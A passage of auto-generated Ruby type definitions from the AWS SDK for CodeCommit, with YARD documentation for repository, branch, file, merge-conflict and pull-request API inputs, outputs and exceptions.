# "TagKey" => "TagValue",
# },
# }
#
# @!attribute [rw] repository_name
# The name of the new repository to be created.
#
# <note markdown="1"> The repository name must be unique across the calling AWS account.
# Repository names are limited to 100 alphanumeric, dash, and
# underscore characters, and cannot include certain characters. For
# more information about the limits on repository names, see
# [Limits][1] in the *AWS CodeCommit User Guide*. The suffix .git is
# prohibited.
#
# </note>
#
#
#
# [1]: https://docs.aws.amazon.com/codecommit/latest/userguide/limits.html
# @return [String]
#
# @!attribute [rw] repository_description
# A comment or description about the new repository.
#
# <note markdown="1"> The description field for a repository accepts all HTML characters
# and all valid Unicode characters. Applications that do not
# HTML-encode the description and display it in a webpage can expose
# users to potentially malicious code. Make sure that you HTML-encode
# the description field in any application that uses this API to
# display the repository description on a webpage.
#
# </note>
# @return [String]
#
# @!attribute [rw] tags
# One or more tag key-value pairs to use when tagging this repository.
# @return [Hash<String,String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateRepositoryInput AWS API Documentation
#
class CreateRepositoryInput < Struct.new(
:repository_name,
:repository_description,
:tags)
SENSITIVE = []
include Aws::Structure
end
# Represents the output of a create repository operation.
#
# @!attribute [rw] repository_metadata
# Information about the newly created repository.
# @return [Types::RepositoryMetadata]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateRepositoryOutput AWS API Documentation
#
class CreateRepositoryOutput < Struct.new(
:repository_metadata)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass CreateUnreferencedMergeCommitInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# source_commit_specifier: "CommitName", # required
# destination_commit_specifier: "CommitName", # required
# merge_option: "FAST_FORWARD_MERGE", # required, accepts FAST_FORWARD_MERGE, SQUASH_MERGE, THREE_WAY_MERGE
# conflict_detail_level: "FILE_LEVEL", # accepts FILE_LEVEL, LINE_LEVEL
# conflict_resolution_strategy: "NONE", # accepts NONE, ACCEPT_SOURCE, ACCEPT_DESTINATION, AUTOMERGE
# author_name: "Name",
# email: "Email",
# commit_message: "Message",
# keep_empty_folders: false,
# conflict_resolution: {
# replace_contents: [
# {
# file_path: "Path", # required
# replacement_type: "KEEP_BASE", # required, accepts KEEP_BASE, KEEP_SOURCE, KEEP_DESTINATION, USE_NEW_CONTENT
# content: "data",
# file_mode: "EXECUTABLE", # accepts EXECUTABLE, NORMAL, SYMLINK
# },
# ],
# delete_files: [
# {
# file_path: "Path", # required
# },
# ],
# set_file_modes: [
# {
# file_path: "Path", # required
# file_mode: "EXECUTABLE", # required, accepts EXECUTABLE, NORMAL, SYMLINK
# },
# ],
# },
# }
#
# @!attribute [rw] repository_name
# The name of the repository where you want to create the unreferenced
# merge commit.
# @return [String]
#
# @!attribute [rw] source_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] destination_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] merge_option
# The merge option or strategy you want to use to merge the code.
# @return [String]
#
# @!attribute [rw] conflict_detail_level
# The level of conflict detail to use. If unspecified, the default
# FILE\_LEVEL is used, which returns a not-mergeable result if the
# same file has differences in both branches. If LINE\_LEVEL is
# specified, a conflict is considered not mergeable if the same file
# in both branches has differences on the same line.
# @return [String]
#
# @!attribute [rw] conflict_resolution_strategy
# Specifies which branch to use when resolving conflicts, or whether
# to attempt automatically merging two versions of a file. The default
# is NONE, which requires any conflicts to be resolved manually before
# the merge operation is successful.
# @return [String]
#
# @!attribute [rw] author_name
# The name of the author who created the unreferenced commit. This
# information is used as both the author and committer for the commit.
# @return [String]
#
# @!attribute [rw] email
# The email address for the person who created the unreferenced
# commit.
# @return [String]
#
# @!attribute [rw] commit_message
# The commit message for the unreferenced commit.
# @return [String]
#
# @!attribute [rw] keep_empty_folders
# If the commit contains deletions, whether to keep a folder or folder
# structure if the changes leave the folders empty. If this is
# specified as true, a .gitkeep file is created for empty folders. The
# default is false.
# @return [Boolean]
#
# @!attribute [rw] conflict_resolution
# If AUTOMERGE is the conflict resolution strategy, a list of inputs
# to use when resolving conflicts during a merge.
# @return [Types::ConflictResolution]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateUnreferencedMergeCommitInput AWS API Documentation
#
class CreateUnreferencedMergeCommitInput < Struct.new(
:repository_name,
:source_commit_specifier,
:destination_commit_specifier,
:merge_option,
:conflict_detail_level,
:conflict_resolution_strategy,
:author_name,
:email,
:commit_message,
:keep_empty_folders,
:conflict_resolution)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] commit_id
# The full commit ID of the commit that contains your merge results.
# @return [String]
#
# @!attribute [rw] tree_id
# The full SHA-1 pointer of the tree information for the commit that
# contains the merge results.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateUnreferencedMergeCommitOutput AWS API Documentation
#
class CreateUnreferencedMergeCommitOutput < Struct.new(
:commit_id,
:tree_id)
SENSITIVE = []
include Aws::Structure
end
# The specified branch is the default branch for the repository, and
# cannot be deleted. To delete this branch, you must first set another
# branch as the default branch.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DefaultBranchCannotBeDeletedException AWS API Documentation
#
class DefaultBranchCannotBeDeletedException < Aws::EmptyStructure; end
# @note When making an API call, you may pass DeleteApprovalRuleTemplateInput
# data as a hash:
#
# {
# approval_rule_template_name: "ApprovalRuleTemplateName", # required
# }
#
# @!attribute [rw] approval_rule_template_name
# The name of the approval rule template to delete.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteApprovalRuleTemplateInput AWS API Documentation
#
class DeleteApprovalRuleTemplateInput < Struct.new(
:approval_rule_template_name)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] approval_rule_template_id
# The system-generated ID of the deleted approval rule template. If
# the template has been previously deleted, the only response is a 200
# OK.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteApprovalRuleTemplateOutput AWS API Documentation
#
class DeleteApprovalRuleTemplateOutput < Struct.new(
:approval_rule_template_id)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of a delete branch operation.
#
# @note When making an API call, you may pass DeleteBranchInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# branch_name: "BranchName", # required
# }
#
# @!attribute [rw] repository_name
# The name of the repository that contains the branch to be deleted.
# @return [String]
#
# @!attribute [rw] branch_name
# The name of the branch to delete.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteBranchInput AWS API Documentation
#
class DeleteBranchInput < Struct.new(
:repository_name,
:branch_name)
SENSITIVE = []
include Aws::Structure
end
# Represents the output of a delete branch operation.
#
# @!attribute [rw] deleted_branch
# Information about the branch deleted by the operation, including the
# branch name and the commit ID that was the tip of the branch.
# @return [Types::BranchInfo]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteBranchOutput AWS API Documentation
#
class DeleteBranchOutput < Struct.new(
:deleted_branch)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DeleteCommentContentInput
# data as a hash:
#
# {
# comment_id: "CommentId", # required
# }
#
# @!attribute [rw] comment_id
# The unique, system-generated ID of the comment. To get this ID, use
# GetCommentsForComparedCommit or GetCommentsForPullRequest.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteCommentContentInput AWS API Documentation
#
class DeleteCommentContentInput < Struct.new(
:comment_id)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] comment
# Information about the comment you just deleted.
# @return [Types::Comment]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteCommentContentOutput AWS API Documentation
#
class DeleteCommentContentOutput < Struct.new(
:comment)
SENSITIVE = []
include Aws::Structure
end
# A file that is deleted as part of a commit.
#
# @note When making an API call, you may pass DeleteFileEntry
# data as a hash:
#
# {
# file_path: "Path", # required
# }
#
# @!attribute [rw] file_path
# The full path of the file to be deleted, including the name of the
# file.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteFileEntry AWS API Documentation
#
class DeleteFileEntry < Struct.new(
:file_path)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DeleteFileInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# branch_name: "BranchName", # required
# file_path: "Path", # required
# parent_commit_id: "CommitId", # required
# keep_empty_folders: false,
# commit_message: "Message",
# name: "Name",
# email: "Email",
# }
#
# @!attribute [rw] repository_name
# The name of the repository that contains the file to delete.
# @return [String]
#
# @!attribute [rw] branch_name
# The name of the branch where the commit that deletes the file is
# made.
# @return [String]
#
# @!attribute [rw] file_path
# The fully qualified path to the file that to be deleted, including
# the full name and extension of that file. For example,
# /examples/file.md is a fully qualified path to a file named file.md
# in a folder named examples.
# @return [String]
#
# @!attribute [rw] parent_commit_id
# The ID of the commit that is the tip of the branch where you want to
# create the commit that deletes the file. This must be the HEAD
# commit for the branch. The commit that deletes the file is created
# from this commit ID.
# @return [String]
#
# @!attribute [rw] keep_empty_folders
# If a file is the only object in the folder or directory, specifies
# whether to delete the folder or directory that contains the file. By
# default, empty folders are deleted. This includes empty folders that
# are part of the directory structure. For example, if the path to a
# file is dir1/dir2/dir3/dir4, and dir2 and dir3 are empty, deleting
# the last file in dir4 also deletes the empty folders dir4, dir3, and
# dir2.
# @return [Boolean]
#
# @!attribute [rw] commit_message
# The commit message you want to include as part of deleting the file.
# Commit messages are limited to 256 KB. If no message is specified, a
# default message is used.
# @return [String]
#
# @!attribute [rw] name
# The name of the author of the commit that deletes the file. If no
# name is specified, the user's ARN is used as the author name and
# committer name.
# @return [String]
#
# @!attribute [rw] email
# The email address for the commit that deletes the file. If no email
# address is specified, the email address is left blank.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteFileInput AWS API Documentation
#
class DeleteFileInput < Struct.new(
:repository_name,
:branch_name,
:file_path,
:parent_commit_id,
:keep_empty_folders,
:commit_message,
:name,
:email)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] commit_id
# The full commit ID of the commit that contains the change that
# deletes the file.
# @return [String]
#
# @!attribute [rw] blob_id
# The blob ID removed from the tree as part of deleting the file.
# @return [String]
#
# @!attribute [rw] tree_id
# The full SHA-1 pointer of the tree information for the commit that
# contains the delete file change.
# @return [String]
#
# @!attribute [rw] file_path
# The fully qualified path to the file to be deleted, including the
# full name and extension of that file.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteFileOutput AWS API Documentation
#
class DeleteFileOutput < Struct.new(
:commit_id,
:blob_id,
:tree_id,
:file_path)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DeletePullRequestApprovalRuleInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# approval_rule_name: "ApprovalRuleName", # required
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request that contains the
# approval rule you want to delete.
# @return [String]
#
# @!attribute [rw] approval_rule_name
# The name of the approval rule you want to delete.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeletePullRequestApprovalRuleInput AWS API Documentation
#
class DeletePullRequestApprovalRuleInput < Struct.new(
:pull_request_id,
:approval_rule_name)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] approval_rule_id
# The ID of the deleted approval rule.
#
# <note markdown="1"> If the approval rule was deleted in an earlier API call, the
# response is 200 OK without content.
#
# </note>
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeletePullRequestApprovalRuleOutput AWS API Documentation
#
class DeletePullRequestApprovalRuleOutput < Struct.new(
:approval_rule_id)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of a delete repository operation.
#
# @note When making an API call, you may pass DeleteRepositoryInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# }
#
# @!attribute [rw] repository_name
# The name of the repository to delete.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteRepositoryInput AWS API Documentation
#
class DeleteRepositoryInput < Struct.new(
:repository_name)
SENSITIVE = []
include Aws::Structure
end
# Represents the output of a delete repository operation.
#
# @!attribute [rw] repository_id
# The ID of the repository that was deleted.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteRepositoryOutput AWS API Documentation
#
class DeleteRepositoryOutput < Struct.new(
:repository_id)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DescribeMergeConflictsInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# destination_commit_specifier: "CommitName", # required
# source_commit_specifier: "CommitName", # required
# merge_option: "FAST_FORWARD_MERGE", # required, accepts FAST_FORWARD_MERGE, SQUASH_MERGE, THREE_WAY_MERGE
# max_merge_hunks: 1,
# file_path: "Path", # required
# conflict_detail_level: "FILE_LEVEL", # accepts FILE_LEVEL, LINE_LEVEL
# conflict_resolution_strategy: "NONE", # accepts NONE, ACCEPT_SOURCE, ACCEPT_DESTINATION, AUTOMERGE
# next_token: "NextToken",
# }
#
# @!attribute [rw] repository_name
# The name of the repository where you want to get information about a
# merge conflict.
# @return [String]
#
# @!attribute [rw] destination_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] source_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] merge_option
# The merge option or strategy you want to use to merge the code.
# @return [String]
#
# @!attribute [rw] max_merge_hunks
# The maximum number of merge hunks to include in the output.
# @return [Integer]
#
# @!attribute [rw] file_path
# The path of the target files used to describe the conflicts.
# @return [String]
#
# @!attribute [rw] conflict_detail_level
# The level of conflict detail to use. If unspecified, the default
# FILE\_LEVEL is used, which returns a not-mergeable result if the
# same file has differences in both branches. If LINE\_LEVEL is
# specified, a conflict is considered not mergeable if the same file
# in both branches has differences on the same line.
# @return [String]
#
# @!attribute [rw] conflict_resolution_strategy
# Specifies which branch to use when resolving conflicts, or whether
# to attempt automatically merging two versions of a file. The default
# is NONE, which requires any conflicts to be resolved manually before
# the merge operation is successful.
# @return [String]
#
# @!attribute [rw] next_token
# An enumeration token that, when provided in a request, returns the
# next batch of the results.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DescribeMergeConflictsInput AWS API Documentation
#
class DescribeMergeConflictsInput < Struct.new(
:repository_name,
:destination_commit_specifier,
:source_commit_specifier,
:merge_option,
:max_merge_hunks,
:file_path,
:conflict_detail_level,
:conflict_resolution_strategy,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] conflict_metadata
# Contains metadata about the conflicts found in the merge.
# @return [Types::ConflictMetadata]
#
# @!attribute [rw] merge_hunks
# A list of merge hunks of the differences between the files or lines.
# @return [Array<Types::MergeHunk>]
#
# @!attribute [rw] next_token
# An enumeration token that can be used in a request to return the
# next batch of the results.
# @return [String]
#
# @!attribute [rw] destination_commit_id
# The commit ID of the destination commit specifier that was used in
# the merge evaluation.
# @return [String]
#
# @!attribute [rw] source_commit_id
# The commit ID of the source commit specifier that was used in the
# merge evaluation.
# @return [String]
#
# @!attribute [rw] base_commit_id
# The commit ID of the merge base.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DescribeMergeConflictsOutput AWS API Documentation
#
class DescribeMergeConflictsOutput < Struct.new(
:conflict_metadata,
:merge_hunks,
:next_token,
:destination_commit_id,
:source_commit_id,
:base_commit_id)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DescribePullRequestEventsInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# pull_request_event_type: "PULL_REQUEST_CREATED", # accepts PULL_REQUEST_CREATED, PULL_REQUEST_STATUS_CHANGED, PULL_REQUEST_SOURCE_REFERENCE_UPDATED, PULL_REQUEST_MERGE_STATE_CHANGED, PULL_REQUEST_APPROVAL_RULE_CREATED, PULL_REQUEST_APPROVAL_RULE_UPDATED, PULL_REQUEST_APPROVAL_RULE_DELETED, PULL_REQUEST_APPROVAL_RULE_OVERRIDDEN, PULL_REQUEST_APPROVAL_STATE_CHANGED
# actor_arn: "Arn",
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request. To get this ID, use
# ListPullRequests.
# @return [String]
#
# @!attribute [rw] pull_request_event_type
# Optional. The pull request event type about which you want to return
# information.
# @return [String]
#
# @!attribute [rw] actor_arn
# The Amazon Resource Name (ARN) of the user whose actions resulted in
# the event. Examples include updating the pull request with more
# commits or changing the status of a pull request.
# @return [String]
#
# @!attribute [rw] next_token
# An enumeration token that, when provided in a request, returns the
# next batch of the results.
# @return [String]
#
# @!attribute [rw] max_results
# A non-zero, non-negative integer used to limit the number of
# returned results. The default is 100 events, which is also the
# maximum number of events that can be returned in a result.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DescribePullRequestEventsInput AWS API Documentation
#
class DescribePullRequestEventsInput < Struct.new(
:pull_request_id,
:pull_request_event_type,
:actor_arn,
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] pull_request_events
# Information about the pull request events.
# @return [Array<Types::PullRequestEvent>]
#
# @!attribute [rw] next_token
# An enumeration token that can be used in a request to return the
# next batch of the results.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DescribePullRequestEventsOutput AWS API Documentation
#
class DescribePullRequestEventsOutput < Struct.new(
:pull_request_events,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# Returns information about a set of differences for a commit specifier.
#
# @!attribute [rw] before_blob
# Information about a `beforeBlob` data type object, including the ID,
# the file mode permission code, and the path.
# @return [Types::BlobMetadata]
#
# @!attribute [rw] after_blob
# Information about an `afterBlob` data type object, including the ID,
# the file mode permission code, and the path.
# @return [Types::BlobMetadata]
#
# @!attribute [rw] change_type
# Whether the change type of the difference is an addition (A),
# deletion (D), or modification (M).
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/Difference AWS API Documentation
#
class Difference < Struct.new(
:before_blob,
:after_blob,
:change_type)
SENSITIVE = []
include Aws::Structure
end
# A file cannot be added to the repository because the specified path
# name has the same name as a file that already exists in this
# repository. Either provide a different name for the file, or specify a
# different path for the file.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DirectoryNameConflictsWithFileNameException AWS API Documentation
#
class DirectoryNameConflictsWithFileNameException < Aws::EmptyStructure; end
# @note When making an API call, you may pass DisassociateApprovalRuleTemplateFromRepositoryInput
# data as a hash:
#
# {
# approval_rule_template_name: "ApprovalRuleTemplateName", # required
# repository_name: "RepositoryName", # required
# }
#
# @!attribute [rw] approval_rule_template_name
# The name of the approval rule template to disassociate from a
# specified repository.
# @return [String]
#
# @!attribute [rw] repository_name
# The name of the repository you want to disassociate from the
# template.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DisassociateApprovalRuleTemplateFromRepositoryInput AWS API Documentation
#
class DisassociateApprovalRuleTemplateFromRepositoryInput < Struct.new(
:approval_rule_template_name,
:repository_name)
SENSITIVE = []
include Aws::Structure
end
# An encryption integrity check failed.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/EncryptionIntegrityChecksFailedException AWS API Documentation
#
class EncryptionIntegrityChecksFailedException < Aws::EmptyStructure; end
# An encryption key could not be accessed.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/EncryptionKeyAccessDeniedException AWS API Documentation
#
class EncryptionKeyAccessDeniedException < Aws::EmptyStructure; end
# The encryption key is disabled.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/EncryptionKeyDisabledException AWS API Documentation
#
class EncryptionKeyDisabledException < Aws::EmptyStructure; end
# No encryption key was found.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/EncryptionKeyNotFoundException AWS API Documentation
#
class EncryptionKeyNotFoundException < Aws::EmptyStructure; end
# The encryption key is not available.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/EncryptionKeyUnavailableException AWS API Documentation
#
class EncryptionKeyUnavailableException < Aws::EmptyStructure; end
# @note When making an API call, you may pass EvaluatePullRequestApprovalRulesInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# revision_id: "RevisionId", # required
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request you want to evaluate.
# @return [String]
#
# @!attribute [rw] revision_id
# The system-generated ID for the pull request revision. To retrieve
# the most recent revision ID for a pull request, use GetPullRequest.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/EvaluatePullRequestApprovalRulesInput AWS API Documentation
#
class EvaluatePullRequestApprovalRulesInput < Struct.new(
:pull_request_id,
:revision_id)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] evaluation
# The result of the evaluation, including the names of the rules whose
# conditions have been met (if any), the names of the rules whose
# conditions have not been met (if any), whether the pull request is
# in the approved state, and whether the pull request approval rule
# has been set aside by an override.
# @return [Types::Evaluation]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/EvaluatePullRequestApprovalRulesOutput AWS API Documentation
#
class EvaluatePullRequestApprovalRulesOutput < Struct.new(
:evaluation)
SENSITIVE = []
include Aws::Structure
end
# Returns information about the approval rules applied to a pull request
# and whether conditions have been met.
#
# @!attribute [rw] approved
# Whether the state of the pull request is approved.
# @return [Boolean]
#
# @!attribute [rw] overridden
# Whether the approval rule requirements for the pull request have
# been overridden and no longer need to be met.
# @return [Boolean]
#
# @!attribute [rw] approval_rules_satisfied
# The names of the approval rules that have had their conditions met.
# @return [Array<String>]
#
# @!attribute [rw] approval_rules_not_satisfied
# The names of the approval rules that have not had their conditions
# met.
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/Evaluation AWS API Documentation
#
class Evaluation < Struct.new(
:approved,
:overridden,
:approval_rules_satisfied,
:approval_rules_not_satisfied)
SENSITIVE = []
include Aws::Structure
end
# Returns information about a file in a repository.
#
# @!attribute [rw] blob_id
# The blob ID that contains the file information.
# @return [String]
#
# @!attribute [rw] absolute_path
# The fully qualified path to the file in the repository.
# @return [String]
#
# @!attribute [rw] relative_path
# The relative path of the file from the folder where the query
# originated.
# @return [String]
#
# @!attribute [rw] file_mode
# The extrapolated file mode permissions for the file. Valid values
# include EXECUTABLE and NORMAL.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/File AWS API Documentation
#
class File < Struct.new(
:blob_id,
:absolute_path,
:relative_path,
:file_mode)
SENSITIVE = []
include Aws::Structure
end
# The commit cannot be created because both a source file and file
# content have been specified for the same file. You cannot provide
# both. Either specify a source file or provide the file content
# directly.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/FileContentAndSourceFileSpecifiedException AWS API Documentation
#
class FileContentAndSourceFileSpecifiedException < Aws::EmptyStructure; end
# The file cannot be added because it is empty. Empty files cannot be
# added to the repository with this API.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/FileContentRequiredException AWS API Documentation
#
class FileContentRequiredException < Aws::EmptyStructure; end
# The file cannot be added because it is too large. The maximum file
# size is 6 MB, and the combined file content change size is 7 MB.
# Consider making these changes using a Git client.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/FileContentSizeLimitExceededException AWS API Documentation
#
class FileContentSizeLimitExceededException < Aws::EmptyStructure; end
# The specified file does not exist. Verify that you have used the
# correct file name, full path, and extension.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/FileDoesNotExistException AWS API Documentation
#
class FileDoesNotExistException < Aws::EmptyStructure; end
# The commit cannot be created because no files have been specified as
# added, updated, or changed (PutFile or DeleteFile) for the commit.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/FileEntryRequiredException AWS API Documentation
#
class FileEntryRequiredException < Aws::EmptyStructure; end
# A file to be added, updated, or deleted as part of a commit.
#
# @!attribute [rw] absolute_path
# The full path to the file to be added or updated, including the name
# of the file.
# @return [String]
#
# @!attribute [rw] blob_id
# The blob ID that contains the file information.
# @return [String]
#
# @!attribute [rw] file_mode
# The extrapolated file mode permissions for the file. Valid values
# include EXECUTABLE and NORMAL.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/FileMetadata AWS API Documentation
#
class FileMetadata < Struct.new(
:absolute_path,
:blob_id,
:file_mode)
SENSITIVE = []
include Aws::Structure
end
# The commit cannot be created because no file mode has been specified.
# A file mode is required to update mode permissions for a file.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/FileModeRequiredException AWS API Documentation
#
class FileModeRequiredException < Aws::EmptyStructure; end
# Information about file modes in a merge or pull request.
#
# @!attribute [rw] source
# The file mode of a file in the source of a merge or pull request.
# @return [String]
#
# @!attribute [rw] destination
# The file mode of a file in the destination of a merge or pull
# request.
# @return [String]
#
# @!attribute [rw] base
# The file mode of a file in the base of a merge or pull request.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/FileModes AWS API Documentation
#
class FileModes < Struct.new(
:source,
:destination,
:base)
SENSITIVE = []
include Aws::Structure
end
# A file cannot be added to the repository because the specified file
# name has the same name as a directory in this repository. Either
# provide another name for the file, or add the file in a directory that
# does not match the file name.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/FileNameConflictsWithDirectoryNameException AWS API Documentation
#
class FileNameConflictsWithDirectoryNameException < Aws::EmptyStructure; end
# The commit cannot be created because a specified file path points to a
# submodule. Verify that the destination files have valid file paths
# that do not point to a submodule.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/FilePathConflictsWithSubmodulePathException AWS API Documentation
#
class FilePathConflictsWithSubmodulePathException < Aws::EmptyStructure; end
# Information about the size of files in a merge or pull request.
#
# @!attribute [rw] source
# The size of a file in the source of a merge or pull request.
# @return [Integer]
#
# @!attribute [rw] destination
# The size of a file in the destination of a merge or pull request.
# @return [Integer]
#
# @!attribute [rw] base
# The size of a file in the base of a merge or pull request.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/FileSizes AWS API Documentation
#
class FileSizes < Struct.new(
:source,
:destination,
:base)
SENSITIVE = []
include Aws::Structure
end
# The specified file exceeds the file size limit for AWS CodeCommit. For
# more information about limits in AWS CodeCommit, see [AWS CodeCommit
# User Guide][1].
#
#
#
# [1]: https://docs.aws.amazon.com/codecommit/latest/userguide/limits.html
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/FileTooLargeException AWS API Documentation
#
class FileTooLargeException < Aws::EmptyStructure; end
# Returns information about a folder in a repository.
#
# @!attribute [rw] tree_id
# The full SHA-1 pointer of the tree information for the commit that
# contains the folder.
# @return [String]
#
# @!attribute [rw] absolute_path
# The fully qualified path of the folder in the repository.
# @return [String]
#
# @!attribute [rw] relative_path
# The relative path of the specified folder from the folder where the
# query originated.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/Folder AWS API Documentation
#
class Folder < Struct.new(
:tree_id,
:absolute_path,
:relative_path)
SENSITIVE = []
include Aws::Structure
end
# The commit cannot be created because at least one of the overall
# changes in the commit results in a folder whose contents exceed the
# limit of 6 MB. Either reduce the number and size of your changes, or
# split the changes across multiple folders.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/FolderContentSizeLimitExceededException AWS API Documentation
#
class FolderContentSizeLimitExceededException < Aws::EmptyStructure; end
# The specified folder does not exist. Either the folder name is not
# correct, or you did not enter the full path to the folder.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/FolderDoesNotExistException AWS API Documentation
#
class FolderDoesNotExistException < Aws::EmptyStructure; end
# @note When making an API call, you may pass GetApprovalRuleTemplateInput
# data as a hash:
#
# {
# approval_rule_template_name: "ApprovalRuleTemplateName", # required
# }
#
# @!attribute [rw] approval_rule_template_name
# The name of the approval rule template for which you want to get
# information.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetApprovalRuleTemplateInput AWS API Documentation
#
class GetApprovalRuleTemplateInput < Struct.new(
:approval_rule_template_name)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] approval_rule_template
# The content and structure of the approval rule template.
# @return [Types::ApprovalRuleTemplate]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetApprovalRuleTemplateOutput AWS API Documentation
#
class GetApprovalRuleTemplateOutput < Struct.new(
:approval_rule_template)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of a get blob operation.
#
# @note When making an API call, you may pass GetBlobInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
